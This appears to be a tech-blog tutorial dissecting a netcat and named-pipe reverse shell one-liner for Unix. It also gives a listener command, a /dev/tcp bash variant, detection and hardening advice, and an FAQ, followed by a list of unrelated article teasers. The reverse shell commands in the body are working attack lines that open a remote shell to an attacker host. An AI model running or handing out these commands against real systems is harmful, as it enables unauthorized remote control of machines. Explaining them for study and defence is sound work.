Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

Abstract: Establishes a bidirectional reverse shell on Unix using named pipes and Netcat to bypass inbound firewall restrictions.

Created: 2026-08-20 by

The command rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f creates a reverse shell by establishing a bidirectional pipe between a target Unix system and an attacker's listener. This technique bypasses firewalls that block inbound connections by initiating the outbound connection from the victim to the attacker on port 4444.

The Anatomy of the Reverse Shell Command

Understanding this exploit requires breaking down each component of the one-liner. The process begins with cleanup and preparation of the communication channel. The first part, rm /tmp/f, removes any existing file named f in the temporary directory. This ensures that the subsequent creation of a named pipe does not fail due to a naming conflict. If the file already exists, the script would halt, preventing the reverse shell from initializing correctly. Next, mkfifo /tmp/f creates a FIFO (First In, First Out) special file, also known as a named pipe. Unlike standard pipes that exist only within a single process tree, a named pipe persists on the filesystem until explicitly deleted. It acts as a bridge allowing data to flow between two independent processes. In this context, it serves as the central hub where input and output streams are merged and redirected. The core logic resides in the pipeline: cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f. This sequence chains three commands together. The cat /tmp/f command reads data from the named pipe and sends it to standard input. This input is then passed to /bin/sh -i, which spawns an interactive shell session. The flag -i forces the shell to run interactively, ensuring that prompts and error messages are displayed correctly. The redirection 2>&1 merges standard error into standard output. This is crucial because many shell commands produce errors or status updates on stderr. Without this merge, those messages would be lost or sent to a different stream, potentially breaking the communication loop. The output from the shell is then piped into nc ip 4444, which stands for Netcat. Netcat acts as the network socket, sending all shell output back to the attacker’s machine at the specified IP address and port. Finally, the output from Netcat is redirected back into the named pipe using > /tmp/f. This completes the loop. Any command typed by the attacker via Netcat arrives at the target, goes through the pipe to the shell, executes, and the result is sent back out through Netcat and written back into the pipe to be read again. This creates a continuous, bidirectional communication channel.

Why Use Telnet or Netcat?

While modern penetration testing often utilizes more sophisticated tools like Metasploit or Cobalt Strike, understanding the raw mechanics of Telnet and Netcat is essential for manual exploitation and CTF challenges. Historically, telnet was used similarly to nc for these connections, though Telnet is unencrypted and largely deprecated for secure administration. Netcat remains the Swiss Army knife of networking utilities because it can read and write data across network connections without relying on complex protocol stacks. In a penetration test scenario, the attacker sets up a listener on their machine using a command like nc -lvnp 4444. The -l flag tells Netcat to listen, -v enables verbose output, -n skips DNS resolution, and -p specifies the port. Once the victim executes the reverse shell command, the connection is established, and the attacker gains an interactive shell prompt. This method is particularly effective against systems behind NATs or strict firewalls that allow outbound traffic but block inbound attempts. By making the victim initiate the connection, the attacker circumvents these restrictions. However, it relies on the presence of specific binaries like mkfifo, cat, sh, and nc on the target system. If any of these are missing, the command will fail.

Alternative Methods and Variations

If mkfifo is unavailable, attackers might use other techniques such as redirecting file descriptors directly. For example, /bin/sh -i >& /dev/tcp/ip/4444 0>&1 uses Bash-specific features to open a TCP connection and assign file descriptors for reading and writing. This avoids the need for a named pipe entirely. Another variation involves using Python or Perl one-liners to create sockets if traditional binaries are stripped from the system. These alternatives highlight the importance of understanding underlying OS capabilities rather than just memorizing commands. For deeper insights into the differences between various shell types and their behaviors in penetration testing environments, you may find Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet helpful. Additionally, exploring how to manage sessions securely after gaining access, such as How to Create a Shell Script to Exit SSH Session After Executing Remote Commands, provides context on post-exploitation hygiene.

Risks and Defensive Considerations

From a defensive perspective, detecting reverse shells can be challenging because they mimic legitimate outbound traffic. Security Information and Event Management (SIEM) systems should monitor for unusual outbound connections to non-standard ports, especially from web servers or database hosts. Network segmentation limits the blast radius if a reverse shell is established, preventing lateral movement to critical internal assets. Administrators should restrict the use of mkfifo and unnecessary utilities in restricted user accounts. Principle of least privilege ensures that even if an injection vulnerability is exploited, the attacker cannot spawn a full interactive shell. Regular auditing of running processes and network connections helps identify anomalous behavior indicative of a compromise. It is also important to note that while this command works on most Unix-like systems, variations in shell syntax or available tools may require adaptation. Always verify the environment before attempting execution in a controlled lab setting. Unauthorized use of these techniques against systems you do not own or have explicit permission to test is illegal and unethical.

Frequently Asked Questions

What happens if /tmp is mounted as noexec?

If the /tmp directory has the noexec mount option, creating an executable binary there will fail, but creating a named pipe usually still succeeds. However, some hardened systems may restrict mkfifo permissions entirely. In such cases, you might need to create the pipe in a writable directory like /var/tmp or /dev/shm, provided those locations do not have similar restrictions.

Can I use this command on Windows systems?

No, this specific command relies on Unix-specific utilities like mkfifo, cat, and sh. Windows uses different command-line tools and syntax. On Windows, attackers typically use PowerShell or cmd.exe with netcat or specialized payloads to achieve similar reverse shell functionality. The underlying concept of bidirectional piping remains the same, but the implementation differs significantly.

Why is 2>&1 necessary in the pipeline?

The 2>&1 redirection merges standard error (stderr) into standard output (stdout). Without it, error messages generated by the shell or executed commands would not be sent back to the attacker via Netcat. This results in a broken feedback loop where the attacker sees no output for failed commands, making interaction difficult or impossible.

Is Telnet still commonly used for reverse shells?

Telnet is rarely used for reverse shells today because it transmits data in plaintext, including credentials, making it insecure. Netcat (nc) or Ncat is the preferred tool due to its flexibility and lower overhead. While Telnet can technically establish a socket connection, its lack of encryption and advanced features makes it obsolete for modern penetration testing.

How do I stop the reverse shell process cleanly?

To stop the reverse shell, you must kill the processes involved in the pipeline. On the target machine, you can use commands like killall nc or killall sh depending on the user privileges. Alternatively, closing the connection from the attacker side (Ctrl+C in the Netcat listener) may terminate the receiving end, but the background processes might persist until manually killed.

Latest News

How to Display Output of xterm Command in Terminal Screen using Cron

Resolve the inability to display xterm output in a terminal screen from cron by redirecting logs or using wall instead of insecure X11 workarounds.

Read More
Expose Local Server on VPS Preserving Real Client IPs (OS Level)

Resolve VPS logging showing only gateway IPs by configuring reverse proxies to forward real client addresses via X-Forwarded-For headers.

Read More
How to Clear Recent Files History in Linux without Deleting Actual Files?

Clear recent files history in Linux by deleting ~/.local/share/recently-used.xbel without removing the actual files.

Read More
Best HDD Copy Strategy: Manually Syncing and Rewriting Scratch

Resolve data drift between two 4TB hard drives by using rsync with the --delete flag to manually sync and rewrite scratch data for an exact mirror.

Read More
Understanding Bash Prompt Abbreviations: An Overview

Resolve repetitive typing errors by creating and persisting Bash aliases in the .bashrc file for improved command-line efficiency.

Read More
Free Tools and Methods to Log Real-Time Performance Details in Task Manager

Log real-time CPU and memory metrics to CSV files using Windows Performance Monitor Data Collector Sets to troubleshoot system slowness.

Read More
Contact Qatar Airways Customer Service: Phone Number, Help Center, and More

Resolve urgent Qatar Airways reservation issues like flight changes and baggage claims using the US phone number +1801-855-5905 or online self-service tools.

Read More
Windows 11: Alt Codes Displaying Wrong Characters - Solutions

Resolve Windows 11 Alt codes showing wrong characters by verifying the US keyboard layout and enabling Num Lock.

Read More
Run Programs with Elevated Privileges: A Comprehensive Guide

Eliminates the need to type sudo for frequent administrative tasks by configuring .bashrc aliases or functions.

Read More
Dynamically Changing Dates in Excel Formulas Using Cells

Eliminate manual date updates in Excel by using cell references to create dynamic formulas that automatically adjust calculations when input dates change.

Read More
Granting Edit Access to a Specific Excel Sheet in an Office 365 User Email ID-Based Login

Excel Online lacks native sheet-level permissions, so users must split workbooks or use worksheet protection to isolate edit access for specific tabs.

Read More
Creating Network Load on Local Wi-Fi from One PC

Generate sustained Wi-Fi bandwidth load from a single PC using a VM SFTP server to test router stability and throughput.

Read More
Changing the Default Editor for Batch Files in Windows 11's File Explorer

Resolve the issue of batch files opening in Notepad by changing the default editor to a preferred application like VS Code.

Read More
Gain WiFi Connection Minutes Before Losing it by Changing MAC Address

Bypass MAC address filtering to restore WiFi connectivity temporarily when a device is blocked by network administrators.

Read More
Photos Folders Turned Black: Troubleshooting Picture Applications on Windows

Resolve black screens in Windows Photos by resetting the app, updating graphics drivers, and repairing system files.

Read More
Troubleshooting High CPU Temperature Values: A Step-by-Step Guide

Resolve high CPU temperatures and thermal throttling by monitoring with Speedfan, cleaning dust from cooling components, and replacing degraded thermal paste.

Read More
Make cURL establish TLS connection with CA unknown

Resolve cURL TLS connection failures with unknown or self-signed certificates by using the --insecure flag to bypass CA validation.

Read More
Troubleshooting Incorrect Network Metrics Values in Grafana, Prometheus, InfluxDB, and Telegraf

Fix incorrect network metrics in Grafana, Prometheus, InfluxDB, and Telegraf by verifying interface selection, resolving unit mismatches, and handling counter resets.

Read More
Start Another Terminal Window (cmd.exe) Windows Repair/Troubleshoot

Provides step-by-step instructions to access the Windows Command Prompt via bootable media for advanced system repair and troubleshooting.

Read More
Thinkpad P1 Gen 6: Sudden Thunderbolt 3 Dock USB-C Charging Stopped Working

Resolve sudden Thunderbolt 3 dock USB-C charging and internet failure on ThinkPad P1 Gen 6 by updating firmware, resetting the dock, and adjusting power settings.

Read More
ASUS Windows 11 Laptop: Internet Connection Issue with Hotspot

Resolve ASUS Windows 11 laptop spinning wheel issue when connecting to mobile hotspot by resetting network stack, disabling IPv6, and adjusting power settings.

Read More
Developing iOS Project with Firebase: Logging in and Sending Push Notifications

Integrates Firebase to enable secure user authentication and push notifications in iOS applications.

Read More
Troubleshooting Bash Script with Suspected Issues of Spaces, Dashes, Filenames and Quoting

Resolve Bash script failures caused by word splitting, globbing, and special characters in filenames by applying proper quoting techniques.

Read More
Populating OneDrive Folder for Local Backup without Affecting Remote Files

Prevent OneDrive from deleting remote files during Windows reinstallation by unlinking the account or using symbolic links to isolate local data.

Read More
Force First Frame as Keyframe Without Re-encoding: A Quick Solution

Resolve inaccurate seeking and playback glitches by re-encoding video to ensure the first frame is a valid keyframe.

Read More
Find Information in Database Using WSL (Ubuntu) on Windows-10

Resolve database connection issues from WSL Ubuntu on Windows 10 by configuring client tools and network access to query remote or local servers.

Read More
Configuring a New Router with Different Networks: One Family, One Guest

Resolve IP conflicts and isolate guest traffic by configuring a second router with a distinct subnet via its WAN port.

Read More
Quickly Open Multiple Stock Websites with a Single Command

Solve the problem of manually opening multiple stock research websites by creating a single command to launch them simultaneously on Windows, macOS, or Linux.

Read More
Improved Adobe Acrobat Search Experience: Access Advanced Search with Ease

Access advanced search filters like case sensitivity and regex in Adobe Acrobat by clicking More Options in the Find bar.

Read More
Port Forwarding VM via OpenVPN: A Comprehensive Guide

Configure OpenVPN server and iptables to forward specific ports from VPN clients to a virtual machine's internal IP address.

Read More
Understanding Partitions in the 1980s: A Look Back at MS-DOS and Master Boot Record

Explains how the Master Boot Record and partition table enabled MS-DOS to manage multiple disk volumes on a single physical drive.

Read More
Windows 10 Enterprise: Keyboard Not Detected in Managed Organization with Admin Privileges

Resolve Windows 10 Enterprise keyboard detection failures caused by Group Policy restrictions, driver corruption, or USB enumeration errors.

Read More
Can't Find x86_64 Versions of Applications on MacOS arm64 (M1)

Resolve missing x86_64 app issues on M1 Macs by installing Rosetta 2 and reinstalling apps as universal binaries.

Read More
How to Hide Installation Source for an Android App

Manage Android app installation source visibility by using USB transfers or file managers to reduce browser traces and isolate data via work profiles.

Read More
Connecting Momentus 4200.2 ST9808210A Hard Drive via USB Cable

Resolve inability to access Seagate Momentus 4200.2 ST9808210A hard drive by connecting it via USB using a compatible SATA-to-USB adapter and configuring the disk in Windows.

Read More